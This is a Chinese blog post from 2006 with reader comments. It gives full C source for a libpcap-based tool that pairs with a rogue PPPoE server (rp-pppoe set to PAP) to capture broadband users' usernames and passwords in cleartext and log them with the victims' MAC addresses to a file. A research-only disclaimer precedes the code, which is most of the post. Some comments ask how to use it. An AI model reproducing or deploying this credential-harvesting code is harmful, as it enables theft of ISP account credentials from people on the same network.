Chinaunix首页 | 论坛 | 博客
  • 博客访问: 5761996
  • 博文数量: 675
  • 博客积分: 20301
  • 博客等级: 上将
  • 技术积分: 7671
  • 用 户 组: 普通用户
  • 注册时间: 2005-12-31 16:15
文章分类

全部博文(675)

文章存档

2012年(1)

2011年(20)

2010年(14)

2009年(63)

2008年(118)

2007年(141)

2006年(318)

分类: C/C++

2006-12-27 17:11:43

权责声名:
本软件仅供研究学习之用,无意对网通或者电信及认证机制做任何抵触性行为。
本软件不可用于任何商业和不良用途,否则责任自负。

这两天闲来无事,写了一个程序来抓取用户名和密码。本来是打算是采用libnet和libpcap来构建PPPOE的server的,但是写到发送 PADS数据包后,client竟然没有响应,不知道是怎么回事,只好利用一个现成的PPPOE的server—–rp-pppoe。
安装rp-pppoe后,指定使用PAP模式进行认证这样的话,用户名和密码就是明文传送的了。

  1. #include
  2. #include
  3. #include
  4. #include

  5. #define NAME_LEN 25
  6. #define PASSWD_LEN 25
  7. #define PACKET_LEN 64
  8. #define FILTER_STR "ether[12:2]=0x8864 and ether dst %02x:%02x:%02x:%02x:%02x:%02x"

  9. static char *nic=NULL;//网卡
  10. unsigned char localMAC[6];

  11. void analysis(char *argument,const struct pcap_pkthdr* packet_header,const u_char* packet_content);
  12. void printpacket(const u_char* packet);
  13. void sig_intr(int signo);

  14. int main()
  15. {
  16. pcap_t *pcap_handle = NULL;
  17. int p_fd;
  18. char error_content[PCAP_ERRBUF_SIZE];
  19. struct bpf_program filter_code;
  20. char filter_buffer[256];
  21. bpf_u_int32 net_mask;
  22. bpf_u_int32 net_ip;

  23. /*For LibNet*/
  24. libnet_t *l=NULL;
  25. char l_errbuf[LIBNET_ERRBUF_SIZE];
  26. struct libnet_ether_addr *l_ether_addr;

  27. if ((l=libnet_init(LIBNET_LINK, nic,l_errbuf))==NULL)
  28. {
  29. fprintf(stderr,"libnet_init() error!\n");
  30. return 1;
  31. }

  32. //Get the Local Mac Address
  33. if ((l_ether_addr=libnet_get_hwaddr(l))==NULL)
  34. {
  35. fprintf(stderr,"unable to get local mac address :%s\n",libnet_geterror(l));
  36. goto err;
  37. }
  38. memcpy(localMAC,l_ether_addr,sizeof(localMAC));

  39. libnet_destroy(l);

  40. nic = pcap_lookupdev(error_content);
  41. if ((pcap_handle = pcap_open_live(nic,BUFSIZ,1,0,error_content))==NULL) //Get the libpcap handle
  42. {
  43. fprintf(stderr,"pcap_open_live: %s\n",error_content);
  44. goto err;
  45. }


  46. pcap_lookupnet(nic,&net_ip,&net_mask,error_content);
  47. p_fd=pcap_fileno(pcap_handle); //We will close it in child process

  48. snprintf(filter_buffer,sizeof(filter_buffer),FILTER_STR,localMAC[0],localMAC[1],localMAC[2],localMAC[3],localMAC[4],localMAC[5]);

  49. //Filter String
  50. printf("Filter: %s\n",filter_buffer);

  51. pcap_compile(pcap_handle,&filter_code,filter_buffer,0,net_ip);
  52. pcap_setfilter(pcap_handle,&filter_code);
  53. pcap_freecode(&filter_code);

  54. signal(SIGINT,sig_intr);

  55. pcap_loop(pcap_handle,-1,analysis,NULL);

  56. //done:
  57. // pcap_close(pcap_handle);
  58. return 0;
  59. err:
  60. pcap_close(pcap_handle);
  61. return 1;
  62. }

  63. void analysis(char *argument,const struct pcap_pkthdr* packet_header,const u_char* packet)
  64. {
  65. FILE *log;
  66. int namelen = 0;
  67. int passwdlen;
  68. char name[NAME_LEN] = {0};
  69. char passwd[PASSWD_LEN] = {0};
  70. unsigned char SrcMAC[6];

  71. if( (packet[0x14]==0xc0) && (packet[0x15] == 0x23) && (packet[0x16] == 0x01) )
  72. {
  73. memcpy(SrcMAC,packet+6,6);
  74. namelen = packet[0x1A];
  75. memcpy(name,packet+0x1B,namelen);
  76. name[namelen] = '\0';
  77. passwdlen = packet[0x1B+namelen];
  78. memcpy(passwd,packet+0x1B+namelen+1,passwdlen);
  79. passwd[passwdlen] = '\0';

  80. // Test Infomations
  81. /*
  82. printf("#### Packet Info ####\n");
  83. printpacket(packet);
  84. printf("namelen = %d\n",namelen);
  85. printf("passwdlen = %d\n",passwdlen);
  86. printf("SrcMAC: %02x:%02x:%02x:%02x:%02x:%02x\n",SrcMAC[0],SrcMAC[1],SrcMAC[2],SrcMAC[3],SrcMAC[4],SrcMAC[5]);

  87. printf("#### Name and Password ####\n");
  88. printf("Name: %s\n",name);
  89. printf("Passwd: %s\n",passwd);
  90. */

  91. log = fopen("passwd.txt","a+");
  92. if(log == NULL)
  93. fprintf(stderr,"Open File Error!\n");

  94. fprintf(stdout,"%02x:%02x:%02x:%02x:%02x:%02x\t%s\t%s\n",SrcMAC[0],SrcMAC[1],SrcMAC[2],SrcMAC[3],SrcMAC[4],SrcMAC[5],name,passwd);
  95. fprintf(log,"%02x:%02x:%02x:%02x:%02x:%02x\t%s\t%s\n",SrcMAC[0],SrcMAC[1],SrcMAC[2],SrcMAC[3],SrcMAC[4],SrcMAC[5],name,passwd);
  96. fflush(log);
  97. }
  98. }

  99. void printpacket(const u_char* packet)
  100. {
  101. int i,j;
  102. printf("Recieve Packet is: \n");
  103. for(i = 0;i < PACKET_LEN/16;i++)
  104. {
  105. for(j = 0;j<16;j++)
  106. printf("%02x ",packet[16*i+j]);
  107. printf("\n");
  108. }
  109. }

  110. void sig_intr(int signo)
  111. {
  112. _exit(0);
  113. // goto done;
  114. }
阅读(7655) | 评论(12) | 转发(0) |
0

上一篇:QT4第一例

下一篇:firefox崩溃的元凶

给主人留下些什么吧!~~

chinaunix网友2009-06-30 10:46:09

二楼你用的是电信的网络吧,他们吧所有的端口都用vlan隔离了

chinaunix网友2009-06-30 10:46:09

二楼你用的是电信的网络吧,他们吧所有的端口都用vlan隔离了

ft26795022008-11-16 19:41:33

你写的代码 怎么用啊? 是C#? 你包含的类文件是你自己写的吗? 能说一下具体的实现办法吗? 或者给个编译好的程序 可以吗??

ft26795022008-11-16 19:41:33

你写的代码 怎么用啊? 是C#? 你包含的类文件是你自己写的吗? 能说一下具体的实现办法吗? 或者给个编译好的程序 可以吗??

chinaunix网友2008-07-27 10:22:30

这为什么是 PPPoE 的漏洞, 而不是 PAP 认证协议的缺陷呢? PPPoE 又不负责保证 携带的是 什么 ppp 数据报.